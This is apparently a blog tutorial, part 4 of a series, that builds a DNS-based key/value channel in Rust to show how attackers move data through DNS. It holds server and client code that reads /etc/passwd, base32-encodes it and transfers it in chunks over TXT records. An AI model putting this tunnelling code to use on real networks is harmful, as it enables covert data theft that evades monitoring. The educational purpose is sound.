Abusing DNS: Part 4, Let the fun begin?

Hello again friends. This is exciting we are starting to actually get somewhere.... Let's get after it, first a quick recap. Remember we are building a key/value store with DNS as our communication mechanism to explore how hackers get data out of networks. Part 1 was an intro to the concepts we are going to use, Part 2 we built a basic server, Part 3 we built a simple client. Oh and the code is here.
For this post we are going to transfer data. This might sound pretty easy as DNS is designed to answer questions with data... Not so fast, DNS is designed to answer questions, short questions and the original DNS RFC (883) is from 1983 not a lot of data back then. Which technically makes DNS a millennial.

Getting Data
This is part relatively easy. DNS has a very handy TXT
record (hey the client we built was asking for those records?!?!). Sadly there are some limitations most notably, you can only return text annnd you are limited to 255 characters segments. What if I wanted to get the contents of /etc/passwd
for... reasons. I don't have to tell you that 255 characters is not a lot of room. Thankfully we have roughly unlimited times to ask.
There are a few ways to accomplish this, for this example we will us an A
request tell the DNS server what TXT
record we are going to query and then query that TXT
record repeatedly until we have all the data.

Server changes
First we need a database to store the key we are going to be looking for. Here we are using the OnceLock struct to make a global Mutex locked HashMap. Which is a really fancy way to store a key and a value in a memory and thread safe way.
type Database = HashMap<String, String>;
static DATABASE: OnceLock<Mutex<Database>> = OnceLock::new();
fn get_value(key: &String) -> Option<String> {
let mut db = DATABASE
.get()
.expect("Database not initialized")
.lock()
.expect("Failed to lock database");
db.remove(key)
}
fn set_value(key: String, value: String) {
let mut db = DATABASE
.get()
.expect("Database not initialized")
.lock()
.expect("Failed to lock database");
db.insert(key, value);
}
Theset_value
function does what you would expect (set a value). The get_value
function retrieves a value and removes it from the database, you will see why in a second.
Then all we have to do is make sure we initialize the database in main.
DATABASE.get_or_init(|| Mutex::new(HashMap::new()));
Next we will parse the A query and add the request value to the database.
First in a new file src/lib.rs
we created a new structure that we will use to pass the message. This is overkill for the example but will make more sense in later parts of this series.
use serde::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)]
pub struct Message {
pub value: String,
}
Next we define a function to parse the A record.
async fn parse_a_query(q: Question<'_>) -> Result<ResourceRecord<'_>> {
let name = q.qname.to_string().to_uppercase();
tracing::info!("new a query: {name}");
let value = fs::read_to_string("/etc/passwd").await?;
let data = bincode::serialize(&Message { value })?;
let encoded = BASE32_NOPAD.encode(&data);
set_value(name.clone(), encoded);
tracing::info!("Set value {}", name);
Ok(ResourceRecord::new(
q.qname,
CLASS::IN,
2,
RData::A(A {
address: u32::from_be_bytes([41, 41, 41, 41]),
}),
))
}
parse_a_query
starts out by pulling the name
out of the record. Next it reads in the data the client will be requesting, in this case /etc/passwd
. Then we start to see some real magic, serializing the buffer into something we can pass to the client. Step 1 of serializing is utilizing bincode to turn our structure into bytes, then it uses data_encoding to turn those bytes into ASCII which is safe to transfer. After encoding the value it uses set_value
to store the value with name
as the key. This encoding step is also a little overkill for this example and will come in handy in later versions of the code. Finally set_value
responds with a generic A
record so the client knows the server was successful.
Now we need to handle the TXT
queries:
async fn parse_txt_query(q: Question<'_>) -> Result<ResourceRecord<'_>> {
let name = q.qname.to_string().to_uppercase();
tracing::info!("Lookup {}", name);
let value = get_value(&name).unwrap_or("AAAA".to_string());
let len = value.clone().len().min(255);
let (txt, remainder) = value.split_at(len);
tracing::info!("Got value {}", value);
if !remainder.is_empty() {
set_value(name.clone(), remainder.to_string());
} else {
tracing::info!("No remaining info");
};
tracing::info!("returning {}", &value);
let mut data = TXT::new();
data.add_char_string(txt.to_string().try_into()?);
Ok(ResourceRecord::new(
q.qname.clone(),
CLASS::IN,
2,
RData::TXT(data),
))
}
The parse_txt_query
function uses get_value
to lookup the value based on the name
value from the query. It then uses split_at
to chunk up the data into 255 byte values. It then stores the remainder back in the database for the next time the client queries. (Thus the delete in get_value
). Finally this chunk of the data is returned as a response to the TXT
request.
Client updates
With our server updated, now the client needs to know what to do. First the client will make an A query with the name of the key we want from the database. Then it will make TXT queries until it has all of the data.
fn a_query_record(domain: &str) -> Result<Vec<u8>> {
let mut pkt = Packet::new_query(1);
let q = Question::new(
Name::new_unchecked(domain),
TYPE::A.into(),
CLASS::IN.into(),
false,
);
pkt.set_flags(PacketFlag::RECURSION_DESIRED);
pkt.questions.push(q);
Ok(pkt.build_bytes_vec()?)
}
a_query_record
should look familiar, it is basically txt_query_record
but for A's.
fn parse_txt_response(data: Vec<u8>) -> Result<String> {
let mut rv = String::new();
let packet = Packet::parse(&data)?;
let answer = packet.answers[0].clone();
if let RData::TXT(val) = answer.rdata {
for (k, _) in val.attributes() {
rv += &k;
}
}
Ok(rv)
}
parse_txt_response
takes a buffer, parses it into a packet and extracts the relevant data from the answers attributes. Finally it returns the value as a String.
let query = a_query_record(domain)?;
let mut buf = [0; 4096];
let (_size, _) = sock.recv_from(&mut buf).await?;
// let data = buf[..size].to_vec();
// TODO: How bout you check for some errors?
// let packet = Packet::parse(&data)?;
First the client makes the A
query. Notably here is a good chance to check for errors, I have skipped that as this post is already getting pretty long.
let query = txt_query_record(domain)?;
let mut incoming = String::new();
loop {
sock.send_to(&query, server).await?;
let mut buf = [0; 4096];
let (size, _) = sock.recv_from(&mut buf).await?;
let data = buf[..size].to_vec();
let data = parse_txt_response(data)?;
incoming += &data;
if data.len() < 255 {
break;
}
}
let decoded = BASE32_NOPAD.decode(incoming.as_bytes())?;
let message: Message = bincode::deserialize(&decoded)?;
tracing::info!("value:\n{}", message.value);
Now for the magic on the client side. First we create a txt_query for our magic domain. Then drop into a loop and make the same txt request until we get back a buffer that didn't use the whole 255 bytes.
Then it is just a matter of running the serialization steps the server took, but in reverse. BASE32_NOPAD
decode the data and bincode::deserialize.
Run it!
It is finally that point. Run the server in one terminal and the client in another and watch the magic happen.

Phew that was a lot. Congrats for making it this far. If you made it this far make sure you subscribe, come yell at my on bluesky or linkedin. Next week, we will update the client to send data to our dns-kv server.